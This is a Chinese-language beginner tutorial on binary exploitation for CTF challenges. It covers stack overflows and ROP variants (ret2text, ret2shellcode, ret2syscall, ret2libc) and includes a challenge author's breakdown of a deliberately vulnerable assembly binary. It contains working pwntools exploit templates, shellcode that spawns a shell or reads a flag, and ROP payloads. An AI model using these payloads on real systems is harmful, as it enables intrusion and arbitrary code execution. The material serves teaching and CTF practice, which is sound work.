PWN 入门教程
一位出题人视角的二进制安全入门 · 从环境配置到 ROP 利用
目录
1. PWN 环境配置 2. x86 基础回顾 3. 栈溢出原理 4. 基本 ROP ret2text ret2shellcode ret2syscall ret2libc 5. 实战剖析:ret2syscall 出题思路 6. 常用工具 7. 进阶指引1. PWN 环境配置
PWN 题目跑在 Linux 上,本地得先搭一套能用的环境。下面列的是最常用的一套工具链。
更新与基础依赖
sudo apt upgrade
sudo apt install vim gcc clang make git curl wget build-essential \
libncursesw5-dev libgdbm-dev libc6-dev tk-dev openssl \
libxml2-dev libxslt-dev libmysqlclient-dev libsqlite3-dev \
zlib1g-dev python2-dev python3-pip libffi-dev libssl-dev \
ruby-dev virtualenv proxychains4
安装 pwntools
pip3 install --upgrade pwntools
# 有些老题目需要 python2 版本
pip2 install --upgrade pwntools
调试器:pwndbg + Pwngdb
git clone https://github.com/pwndbg/pwndbg
cd pwndbg && ./setup.sh
# 配置 ~/.gdbinit
echo "source ~/pwndbg/gdbinit.py" >> ~/.gdbinit
其他工具
| 工具 | 安装 | 干什么用 |
|---|---|---|
| patchelf | apt install patchelf | 替换 ELF 的动态链接库 |
| ROPgadget | pip3 install ROPgadget | 找 gadget |
| ropper | pip3 install ropper | 找 gadget(备选) |
| one_gadget | gem install one_gadget | 找 libc 里的万能 gadget |
| seccomp-tools | gem install seccomp-tools | 看程序有没有沙箱 |
| glibc-all-in-one | git clone https://github.com/matrix1001/glibc-all-in-one.git | 下载指定版本的 libc |
| qemu-system | apt install qemu-system | 跑 ARM/MIPS 架构的题目 |
推荐装 oh-my-zsh,Tab 补全文件路径很方便,还能回滚之前输过的命令。
2. x86 基础回顾
PWN 的核心就是想办法控制 EIP(指令指针寄存器)。不管是栈溢出、格式化字符串还是堆利用,终点都是让 EIP 指向攻击者想要的位置。下面的内容只聚焦于 PWN 里最常用的几个概念。
关键寄存器的 PWN 视角
| 寄存器 | 在 PWN 中的意义 |
|---|---|
| EIP | 控制它等于控制了程序执行流 —— 整个 PWN 的最终目标 |
| EAX | 函数返回值;32位下传系统调用号(如 execve = 11) |
| EBX | 32位 syscall 第1参数(execve 时需指向 "/bin/sh") |
| ECX | 32位 syscall 第2参数 |
| EDX | 32位 syscall 第3参数(execve 时需置 0) |
| ESP | 栈指针 — 控制 ESP 等于控制了 ROP 链跑在哪儿 |
| EBP | 帧指针 — 可被利用于 leave;ret 栈迁移 |
栈帧快速参考
栈从高地址向低地址生长,每个函数调用在栈上留下如下结构:
函数调用生命周期速览
3. 栈溢出原理
什么叫栈溢出?简单说就是:往栈上某个变量里写的数据超过了变量本身申请的空间,把相邻的数据给覆盖了。
轻则程序崩掉,重则攻击者控制程序执行流程。
触发栈溢出需要两个条件同时满足:
- 程序确实往栈上写了数据
- 写入的大小没有做限制(或者限制不够)
常见危险函数
| 类别 | 函数 | 问题 |
|---|---|---|
| 输入 | gets | 不限制长度,一直读到换行 |
| 输入 | scanf | 格式串可控时可能越界 |
| 输入 | vscanf | 同上 |
| 输出 | sprintf | 输出可能超出目标缓冲区 |
| 字符串 | strcpy | 遇到 \x00 才停,不检查目标长度 |
| 字符串 | strcat | 追加拼接,不检查总长度 |
| 字符串 | bcopy | 参数长度可能被攻击者控制 |
基本利用流程
- 找危险函数 — IDA 里看有没有 gets、scanf 等
- 算填充长度 — 变量地址到 EBP 的距离 + EBP 自身的长度(32位 4 字节,64位 8 字节)
- 覆盖返回地址 — 填上目标地址(后门函数 / gadget / shellcode 地址)
4. 基本 ROP
NX 保护开启后,栈和堆上不能直接执行代码,传统的注入 shellcode 的路就走不通了。于是有了返回导向编程(Return Oriented Programming)。
ROP 的核心想法很简单:程序本身(还有它加载的 libc)里已经有很多现成的机器指令片段(gadgets),把它们一个个串起来就能实现任意功能。
ret2text — 返回到 text 段
原理
最基础的 ROP 题型。程序里本来就有 system("/bin/sh") 之类的后门函数,你只需要覆盖返回地址跳过去就行了。典型场景是 gets 不限制输入长度。
解题步骤
checksec看保护(最好 No PIE、No canary)- IDA 里找后门函数地址,看变量到 EBP 的距离
- 填充 buf + EBP,然后把 RET 盖成后门地址
交互脚本模板
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
debug = 0 # 打远程时改成 1
if debug:
r = remote('ip', port)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
r.interactive()
ret2shellcode — 执行 shellcode
原理
程序没有后门函数,但 NX 没开(或者用 mprotect 开了可执行权限)。这时候直接往可执行区域写 shellcode,然后跳过去。
解题步骤
- 看保护:NX 必须关闭
- 找栈溢出点
- 确认 shellcode 放的位置有执行权限
- 算好偏移,把返回地址指向 shellcode
生成 shellcode
# 获取 shell
shellcode = shellcraft.sh()
# open-read-write(沙箱逃不了 shell 时用)
shellcode = shellcraft.open('./flag')
shellcode += shellcraft.read(3, 0x123000 + 0x100, 0x30)
shellcode += shellcraft.write(1, 0x123000 + 0x100, 0x30)
手写 shellcode
execve("/bin/sh", 0, 0)
shellcode = '''
xor rdx,rdx
push rdx
mov rsi,rsp
mov rax,0x68732f2f6e69622f
push rax
mov rdi,rsp
mov rax,59
syscall
'''
open-read-write 读 flag
shellcode = """
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
"""
http://shell-storm.org/online/Online-Assembler-and-Disassembler/ret2syscall — 系统调用
原理
不依赖 libc,直接触发系统调用来 getshell。用户态通过 syscall(64位)或 int 0x80(32位)切换到内核态执行相应的功能。
关键系统调用号
| 功能 | 32位 (eax) | 64位 (rax) |
|---|---|---|
| read | 3 | 0 |
| open | 5 | 2 |
| write | 4 | 1 |
| sigreturn | 77 (0x4D) | 15 (0xF) |
| execve | 11 (0xB) | 59 (0x3B) |
利用示例
# 64位:execve("/bin/sh", NULL, NULL)
# rax=59, rdi="/bin/sh", rsi=0, rdx=0
p = p64(pop_rax_ret) + p64(59)
p += p64(pop_rdi_ret) + p64(bin_sh_addr)
p += p64(pop_rsi_ret) + p64(0)
p += p64(pop_rdx_ret) + p64(0)
p += p64(syscall_addr)
# 32位:通过 int 0x80
# eax=11, ebx="/bin/sh", ecx=0, edx=0
p += p32(pop_eax_ret) + p32(11)
p += p32(pop_ebx_ret) + p32(bin_sh_addr)
p += p32(pop_ecx_ret) + p32(0)
p += p32(pop_edx_ret) + p32(0)
p += p32(int_0x80_addr)
ret2libc — 利用 libc 函数
大部分情况下程序里没有现成的后门函数,也没有足够的 gadgets 来直接拼系统调用。但 libc 一定会被加载 —— libc 里有 system、有 "/bin/sh" 字符串。ret2libc 的思路就是:先泄露 libc 的基址,然后算出 system 和 "/bin/sh" 的位置,最后调用它们。
前置知识:延迟绑定
C 语言的内置函数(printf、puts、read 等)都在 libc 里。程序启动时并不会立即解析它们的地址,而是等到第一次调用时才去查,这叫延迟绑定。
- PLT (Procedure Linkage Table) — 代码段,里面是一段段跳转指令
- GOT (Global Offset Table) — 数据段,存的是函数的真实地址
- 第一次调用某个函数:PLT → 触发解析 → 地址写入 GOT
- 以后调用:PLT → 直接跳 GOT 里的地址
- 如果 GOT 可写,覆盖 GOT 条目就能实现函数劫持
情景一:有 system + 有 "/bin/sh"
最简单的 ret2libc,程序调得了 system,而且 IDA 里能搜到 "/bin/sh" 字符串。
# ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rdi' 找 pop_rdi_ret
pop_rdi_ret = 0x400xxx
bin_sh = 0x400xxx # IDA 搜到的地址
system_plt = elf.plt['system']
payload = b'a' * offset
payload += p64(pop_rdi_ret) + p64(bin_sh) + p64(system_plt)
r.sendline(payload)
情景二:有 system,但没 "/bin/sh"
用 gets() 往 bss 段写一个 "/bin/sh",然后调 system。
pop_rdi_ret = 0x400xxx
buf = 0x601xxx # bss 段可写地址
gets_plt = elf.plt['gets']
system_plt = elf.plt['system']
payload = b'a' * offset
payload += p64(pop_rdi_ret) + p64(buf) + p64(gets_plt) # gets(buf)
payload += p64(pop_rdi_ret) + p64(buf) + p64(system_plt) # system(buf)
r.sendline(payload)
r.sendline(b'/bin/sh\x00') # gets 读入
情景三:无 system 也无 "/bin/sh"(标准 ret2libc)
这才是最常见的场景。核心就两步:
Step 1 — 泄露 libc 基址
pop_rdi_ret = 0x400xxx
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']
payload = b'a' * offset
payload += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
r.sendline(payload)
# 接收泄露的地址
puts_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc_base = puts_addr - libc.sym['puts']
Step 2 — getshell
libc = ELF('./libc.so.6')
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh\x00'))
payload2 = b'a' * offset
payload2 += p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
r.sendline(payload2)
r.interactive()
堆栈平衡(Stack Alignment)
64 位系统里,有些指令(特别是 movaps,操作 XMM 寄存器时用的)要求 RSP 必须是 16 字节对齐。如果 ROP 链执行到 libc 函数时莫名其妙崩了,多半是这个原因。解决方案很简单:在 ROP 链开头多加一个 ret gadget 来对齐。
ROPgadget --binary ./pwn --only 'ret'
ret = 0x400xxx
payload = b'a' * offset + p64(ret) + p64(pop_rdi_ret) + ...
32 位 ret2libc 的区别
32 位程序通过栈传参,不需要找 pop rdi。构造 payload 的时候直接把参数跟在函数地址后面就行:
# 32 位:函数地址 + 返回地址(随意填)+ 参数列表
payload = b'a' * offset
payload += p32(system_plt) # 函数
payload += p32(0xdeadbeef) # 返回地址
payload += p32(bin_sh) # 第1个参数:"/bin/sh"
5. 实战剖析:ret2syscall 出题思路
前面几章都是在讲「攻击者怎么做」。这一节,我们换位到出题人的视角,来看一个具体的例子:ret2syscall 挑战。通过这个案例,你会理解出题人如何在二进制中刻意埋设利用条件,形成一道 PWN 题。
D:\Cyber_Range\work.test\ret2syscall\test4-ret2syscall保护机制:32 位,NX 开启,无 PIE,无 Canary
漏洞类型:栈溢出(gets)→ ROP → syscall
出题人的设计思路
这道题的核心概念非常直观:
- 目标是通过
execve("/bin/sh", 0, 0)获取 shell - 题目开启了 NX(栈不可执行),所以不能直接执行 shellcode
- 出题人需要在二进制里「种」好利用所需的材料
出题素材准备
题目用纯汇编(rop.S)编写,出题人人为地在 .text 段中放置了以下关键要素:
| 要素 | 作用 |
|---|---|
int80_ret |
执行 int 0x80; ret — 触发系统调用 |
pop_eax_ret |
执行 pop eax; ret — 设置系统调用号(11 = execve) |
pop_edx_ecx_ebx_ret |
执行 pop edx; pop ecx; pop ebx; ret — 设置三个参数 |
/bin/sh 字符串 |
在 .rodata 段中存放的 "/bin/sh" |
gets PLT 调用 |
提供一个明显的栈溢出入口 |
源码分析
核心汇编代码的结构如下:
; rop.S — 出题人视角的源码结构
section .text
global _start
pop_eax_ret:
pop eax ; 0x58
ret ; 0xC3
pop_edx_ecx_ebx_ret:
pop edx ; 0x5A
pop ecx ; 0x59
pop ebx ; 0x5B
ret ; 0xC3
int80_ret:
int 0x80 ; 0xCD 0x80
ret ; 0xC3
_start:
; 分配栈空间并调用 gets
sub esp, 0x100
lea eax, [esp]
push eax
call gets ; 栈溢出入口!
add esp, 4
; 正常退出
xor eax, eax
add esp, 0x100
ret
section .rodata
binsh:
db "/bin/sh", 0
我们可以看到每个 gadget 的地址就是其标号在内存中的位置。因为这是静态链接且无 PIE,这些地址在编译时就已固定。
解题思路
解题者需要构造的 payload 布局如下:
# payload 布局(从低地址到高地址)
offset = 0x100 + 4 # buffersz + saved_ebp
payload = b'A' * offset # 填充到返回地址
payload += p32(pop_eax_ret) # 执行 pop eax; ret
payload += p32(11) # eax = 11 (execve syscall number)
payload += p32(pop_edx_ecx_ebx_ret) # 设置三个参数
payload += p32(0) # edx = 0
payload += p32(0) # ecx = 0
payload += p32(binsh_addr) # ebx = "/bin/sh" 地址
payload += p32(int80_ret) # 执行 int 0x80 → execve("/bin/sh", 0, 0)
这个链条运行时,CPU 依次执行:
| 步骤 | 执行内容 | 效果 |
|---|---|---|
| 1 | pop eax → 11 | EAX = 11(execve 的系统调用号) |
| 2 | pop edx; pop ecx; pop ebx | EDX=0, ECX=0, EBX=addr("/bin/sh") |
| 3 | int 0x80 | 触发系统调用 → 获取 shell |
从这道题学到什么
- Gadget 是出题人「种」的:在真实题目中,gadget 不会这么直白地标出,而是需要你用 ROPgadget / ropper 工具从二进制中搜索
- 32位 ROP 的特点:参数通过栈传递,因此不需要找
pop rdi; ret这类 gadget —— 只需要一个能连续 pop 的 gadget 就行 - ret2syscall 的本质:通过 gadget 设置寄存器 → int 0x80 → 获得 shell。这是绕过 NX 保护的最基本方法之一
- 从出题角度看:每一道 PWN 题都是出题人在二进制里「埋陷阱」和「留线索」之间的平衡。本题中溢出点是 gets,gadget 是显式种入的,这让新手可以专注于理解 ROP 链的逻辑而非找 gadget
6. 常用工具
gadget 查找
ROPgadget
# 找 pop rdi; ret(控制第1个参数)
ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rdi'
# 找字符串
ROPgadget --binary ./pwn --string '/bin/sh'
# 找 leave; ret(栈迁移用)
ROPgadget --binary ./pwn --only 'leave|ret' | grep 'leave'
# 找 ret 指令(堆栈平衡)
ROPgadget --binary ./pwn --only 'ret'
# 自动生成 ROP 链(仅限静态编译的程序)
ROPgadget --binary ./pwn --ropchain
pop rdi ; pop rbx ; ret,后面要填两个值(rdi + rbx)。one_gadget
libc 里有些"万能"的 gadget,设好某些条件后一条地址就能 getshell:
one_gadget ./libc.so.6
one_gadget -l2 ./libc.so.6 # 更多选项
libc 操作
查看 libc 版本
strings ./libc.so.6 | grep GNU
# 输出类似:GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.4) stable release version 2.35.
下载指定 libc(glibc-all-in-one)
cd glibc-all-in-one
python3 update_list
cat list # 确认里面有你要的版本
./download 2.35-0ubuntu3.4_amd64
# 下载好的文件在 libs/ 目录下
在线 libc 查询
题目没给 libc 文件?泄露两个已知函数的地址,去 https://libc.rip/ 查一下就能确定版本。
patchelf 换 libc
本地调试需要换 libc 来匹配远程环境。libc 和 ld 必须换同一个版本,否则跑不起来。
# 先看当前用的是哪些库
ldd ./pwn
# 换 libc
patchelf --replace-needed libc.so.6 ./libs/2.35/libc.so.6 ./pwn
# 换 ld
patchelf --set-interpreter ./libs/2.35/ld-linux-x86-64.so.2 ./pwn
其他工具速查
checksec
checksec ./pwn
# 显示:Arch, RELRO, Stack canary, NX, PIE
gdb 常用命令
| 命令 | 作用 |
|---|---|
gdb filename | 启动调试 |
r | 开始运行 |
c | 继续执行到断点 |
n | 单步(不进入函数) |
s | 单步(进入函数) |
b *0x400xxx | 下断点 |
fin | 跳出当前函数 |
x/20gx 地址 | 查看 20 个 8 字节数据 |
x/10i $rip | 查看当前指令附近的反汇编 |
vmmap | 查看内存映射(pwndbg) |
code | 查看程序基址(pwndbg) |
IDA 快捷键
| 快捷键 | 用途 |
|---|---|
n | 重命名变量/函数 |
y | 改函数原型或变量类型 |
tab | 汇编 ↔ 伪代码 |
space | 列表 ↔ 图形 |
f12 | 字符串窗口 |
/ | 加注释 |
nc — 连远程
nc ip port
7. 进阶指引
到这里,你已经掌握了 PWN 入门最核心的几条路径:从栈溢出到基本 ROP,再到 ret2libc 和 ret2syscall。但二进制安全的世界远不止这些。以下是一些值得继续探索的方向:
保护机制速查
| 保护 | 全称 | 作用 | gcc 关闭参数 |
|---|---|---|---|
| ASLR | Address Space Layout Randomization | 堆栈和共享库地址随机化 | sysctl -w kernel.randomize_va_space=0 |
| RELRO | RELocation Read-Only | Full RELRO 时 GOT 不可写 | -z norelro / -z lazy / -z now |
| Canary | Stack Guard | 栈溢出检测(rbp-0x8 处) | -fno-stack-protector |
| NX | Non-eXecute | 堆栈不可执行 | -z execstack |
| PIE | Position Independent Executable | 代码段地址随机化 | -no-pie |
推荐学习路线
基础巩固
- 多练 ret2libc:不同的 libc 版本、不同的泄露方式。这是最实用的实战技能。
- 格式化字符串漏洞:能读能写,配合栈溢出使用威力巨大。
- 整数/字符溢出:整型变量
(unsigned int)强转漏洞、char 类型溢出、数组越界。 - ⚠ scanf 的坑:输入
+或-时 scanf 不会实际写入内容(可绕过长度检查)。
进阶方向
堆利用 (Heap)
从 fastbin attack 到 tcache poisoning,从 use-after-free 到 house of 系列。堆利用是 PWN 的高阶必修课。
高级 ROP
SROP、Stack Pivot、ret2dlresolve、BROP。当保护全开时的进阶利用手段。
seccomp / orw
当题目限制了 execve 时,需要用 open-read-write 的方式逐字节读取 flag。
Linux 内核 PWN
从用户态进入内核态:KASLR bypass、modprobe_path、cred 覆盖等。
补充知识点
ELF 节区速览
| 节区 | 内容 |
|---|---|
.init / .fini | 进程初始化和收尾代码 |
.plt / .got | 动态链接跳转表和全局入口表 |
.text | 代码段 |
.rodata | 只读数据(字符串常量等) |
.data | 已初始化的全局变量和静态变量 |
.bss | 未初始化的全局/静态变量(不占文件空间) |
随机数绕过
如果程序用 libc 的 rand(),可以通过 ctypes 在 Python 中加载同样的 libc 来预测序列:
from ctypes import *
libc = cdll.LoadLibrary('./libc.so.6')
libc.srand(seed)
for i in range(21):
v6 = (libc.rand() ^ 0x24) + 1
r.sendlineafter('input: ', str(v6))
文件类型判断
file ./pwn
# ELF 64-bit LSB executable, x86-64, dynamically linked, interpreter /ld-linux-x86-64.so.2
seccomp 沙箱检查
挑战中有沙箱限制时,可以用 seccomp-tools 查看规则:
seccomp-tools dump ./pwn
推荐资源
- CTF Wiki — 最全面的中文 PWN / 逆向知识库
- How2Heap — 堆利用技术大全,附带可运行示例
- Rop Emporium — ROP 技术的沉浸式练习平台
- pwn.college — Arizona 大学的在线 PWN 课程
- Nightmare — 由浅入深的 CTF PWN writeup 合集
作者:GOD · NULL
来源:技术
校对:GOD · NULL
复核:公开资料整理
版本:持续更新